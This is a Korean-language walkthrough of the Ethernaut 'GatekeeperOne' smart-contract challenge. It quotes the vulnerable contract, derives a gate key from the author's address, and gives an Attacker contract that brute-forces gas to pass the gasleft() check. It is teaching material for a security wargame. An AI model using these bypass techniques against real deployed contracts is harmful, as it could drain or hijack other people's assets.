// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
우리의 mission은 entrant에 tx.origin을 넣어 level을 통과하는 것이다.
일단 코드를 보면 modifier가 3개나 있다.
첫 번째: msg.sender != tx.origin
두 번째: gasleft() % 8191 == 0
세 번째: uint32(uint64(_gatekey)) == uint16(uint64(_gatekey))
uint32(uint64(_gatekey)) != uint64(_gatekey)
uint32(uint64(_gatekey)) == uint16(uint160(tx.origin))
이렇게 나와 있다.
첫 번째, 두 번째를 보기 전에 세 번째 먼저 보자
_gatekey는 8byte이다. 일단 저기 수 들이 어떻게 나타나는지 한 번 보자
나의 tx.origin은 0xbF0C598Efc0Ce31eB2f8A73e229f4556B7582e6A이다.
결과를 보면 bytes8은 uint64랑 같다. 그리고 uint32는 끝 4byte이다uint16은 끝 2byte이다.
초기 gatekey는 0000000000000000이라고 설정하면
uint32(uint64(_gatekey)) == uint16(uint160(tx.origin))을 만족하려면 0000000000002e6A가 되어야 한다.
그러면 uint32(uint64(_gatekey)) == uint16(uint64(_gatekey))도 같이 만족한다.
uint32(uint64(_gatekey)) != uint64(_gatekey)을 만족하려면 229f4556B7582e6A 여기서 중간 4byte만 0000이 되어야 한다.
229f455600002e6A
gatekey는 0x229f455600002e6A로 구해졌다.
이제 gasleft() % 8191 == 0을 만족해야 하는 데 gasleft()는 잔여 가스량을 uint256형태로 출력해주는 함수이다.
이 부분에 대해서는 debug를 이용하여 사용하고 나오는 잔여 가스량을 구하고 거기에다가 8191의 배수가 되도록 맞추면 되는데 시간이 너무 걸려서 github코드를 참고하였다.
contract Attacker{
GatekeeperOne gateone;
constructor(address _address) public {
gateone = GatekeeperOne(_address);
}
function Attack() public {
bytes8 _gateKey = 0x229f455600002e6A;
for(uint256 i=0; i<300;i++){
(bool sent, ) = address(gateone).call{gas:i+150+8191 * 3}(abi.encodeWithSignature("enter(bytes8)", _gateKey));
if(sent) {
break;
}
}
}
}
정상적으로 실행되는 것을 알 수 있다.